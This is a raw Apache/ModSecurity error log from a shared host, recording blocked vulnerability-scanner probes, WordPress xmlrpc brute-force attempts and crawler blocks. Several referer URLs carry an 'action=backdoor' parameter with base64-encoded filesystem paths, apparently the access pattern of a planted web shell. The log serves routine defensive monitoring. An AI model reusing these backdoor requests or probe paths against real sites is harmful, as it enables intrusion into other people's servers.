https://homs.co.ke/?action=backdoor&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:58.950885 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=backdoor&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:59.028842 2026] [security2:error] [pid 646876:tid 647093] [client 185.177.72.9:60496] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/setup/setup.php"] [unique_id "ai3zr9yTkdrNlD40tSG8IAAAAFU"] [Sat Jun 13 18:19:59.085791 2026] [access_compat:error] [pid 648189:tid 648332] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:59.086056 2026] [access_compat:error] [pid 648189:tid 648332] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:59.185283 2026] [access_compat:error] [pid 648189:tid 648330] [remote 57.141.14.3:61804] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:59.185589 2026] [access_compat:error] [pid 648189:tid 648330] [remote 57.141.14.3:61804] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:59.232930 2026] [security2:error] [pid 646876:tid 646955] [remote 17.246.23.194:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 194.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zr9yTkdrNlD40tSG8IQAAQUw"] [Sat Jun 13 18:19:59.238228 2026] [security2:error] [pid 648189:tid 648262] [remote 17.241.227.124:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 124.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zr1WSojQL4F7upKCAdAAAiCg"] [Sat Jun 13 18:19:59.283219 2026] [security2:error] [pid 646876:tid 647029] [client 210.217.96.217:62010] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zr9yTkdrNlD40tSG8IgAAABU"] [Sat Jun 13 18:19:59.283336 2026] [security2:error] [pid 646876:tid 647029] [client 210.217.96.217:62010] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zr9yTkdrNlD40tSG8IgAAABU"] [Sat Jun 13 18:19:59.293106 2026] [security2:error] [pid 648189:tid 648394] [client 185.177.72.9:60500] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/setup/index.php"] [unique_id "ai3zr1WSojQL4F7upKCAdwAAAK4"] [Sat Jun 13 18:19:59.368252 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.96:64079] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:59.368512 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.96:64079] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:59.445848 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNl [Sat Jun 13 18:19:59.446133 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNl [Sat Jun 13 18:19:59.568274 2026] [security2:error] [pid 648189:tid 648353] [client 185.177.72.9:60514] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/upgrade.php"] [unique_id "ai3zr1WSojQL4F7upKCAgAAAAIU"] [Sat Jun 13 18:19:59.628088 2026] [access_compat:error] [pid 648189:tid 648339] [remote 57.141.14.41:62159] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:59.628531 2026] [access_compat:error] [pid 648189:tid 648339] [remote 57.141.14.41:62159] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:59.652146 2026] [access_compat:error] [pid 648189:tid 648220] [remote 57.141.14.28:53934] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:59.652426 2026] [access_compat:error] [pid 648189:tid 648220] [remote 57.141.14.28:53934] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:59.832731 2026] [security2:error] [pid 648189:tid 648383] [client 185.177.72.9:60518] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/upgrade/index.php"] [unique_id "ai3zr1WSojQL4F7upKCAkAAAAKM"] [Sat Jun 13 18:19:59.919951 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:19:59.920389 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:20:00.100463 2026] [security2:error] [pid 648189:tid 648390] [client 185.177.72.9:60524] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/upgrader.php"] [unique_id "ai3zsFWSojQL4F7upKCAnQAAAKo"] [Sat Jun 13 18:20:00.368350 2026] [security2:error] [pid 648189:tid 648367] [client 185.177.72.9:60532] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/migrate.php"] [unique_id "ai3zsFWSojQL4F7upKCAqAAAAJM"] [Sat Jun 13 18:20:00.432316 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:20:00.432660 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:20:00.526839 2026] [security2:error] [pid 648189:tid 648226] [remote 17.246.19.242:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 242.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zsFWSojQL4F7upKCAsQAA4QY"] [Sat Jun 13 18:20:00.597188 2026] [access_compat:error] [pid 646876:tid 646960] [remote 57.141.14.97:41950] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:00.597635 2026] [access_compat:error] [pid 646876:tid 646960] [remote 57.141.14.97:41950] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:00.639521 2026] [security2:error] [pid 648189:tid 648365] [client 185.177.72.9:60536] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/migration.php"] [unique_id "ai3zsFWSojQL4F7upKCAtQAAAJE"] [Sat Jun 13 18:20:00.887968 2026] [security2:error] [pid 648189:tid 648231] [remote 17.241.219.200:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 200.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zsFWSojQL4F7upKCAvgAA1Qs"] [Sat Jun 13 18:20:00.907752 2026] [security2:error] [pid 646876:tid 647037] [client 185.177.72.9:60538] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/console.php"] [unique_id "ai3zsNyTkdrNlD40tSG8MgAAAB0"] [Sat Jun 13 18:20:00.995880 2026] [access_compat:error] [pid 646876:tid 646909] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:20:00.996340 2026] [access_compat:error] [pid 646876:tid 646909] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:20:01.198671 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.52:44734] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:01.198957 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.52:44734] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:01.226831 2026] [access_compat:error] [pid 648189:tid 648302] [remote 57.141.14.36:27414] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:01.227257 2026] [access_compat:error] [pid 648189:tid 648302] [remote 57.141.14.36:27414] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:01.245271 2026] [security2:error] [pid 648189:tid 648237] [remote 17.246.15.201:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zsVWSojQL4F7upKCAzQAA4BA"] [Sat Jun 13 18:20:01.258560 2026] [access_compat:error] [pid 646876:tid 646891] [remote 57.141.14.113:55798] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:01.258854 2026] [access_compat:error] [pid 646876:tid 646891] [remote 57.141.14.113:55798] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:01.410031 2026] [security2:error] [pid 648189:tid 648338] [remote 114.119.143.151:0] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "sergil.net"] [uri "/%D8%A7%D9%84%D8%B9%D8%A7%D9%84%D9%85-%D8%A7%D9%84%D8%A7%D9%86/%D9%85%D8%B1%D8%AA%D8%B2%D9%82%D8%A9-%D8%B3%D9%88%D8%B1%D9%8A%D9%91%D9%88%D9%86/"] [unique_id "ai3zsVWSojQL4F7upKCA1gAA8nM"], referer: https://sergil.net/%D8%A7%D9%84%D8%B9%D8%A7%D9%84%D9%85-%D8%A7%D9%84%D8%A7%D9%86/%D9%85%D8%B1%D8%AA%D8%B2%D9%82%D8%A9-%D8%B3%D9%88%D8%B1%D9%8A%D9%91%D9%88%D9%86/ [Sat Jun 13 18:20:01.475137 2026] [security2:error] [pid 648189:tid 648393] [client 182.161.73.20:0] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "www.hamaraquetta.com"] [uri "/index.php/nimaztime"] [unique_id "ai3zr1WSojQL4F7upKCAlwAArRU"] [Sat Jun 13 18:20:01.544285 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:20:01.544778 2026] [access_compat:error] [pid 646876:tid 647003] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:20:01.575846 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.89:49706] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:01.576186 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.89:49706] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:02.029597 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 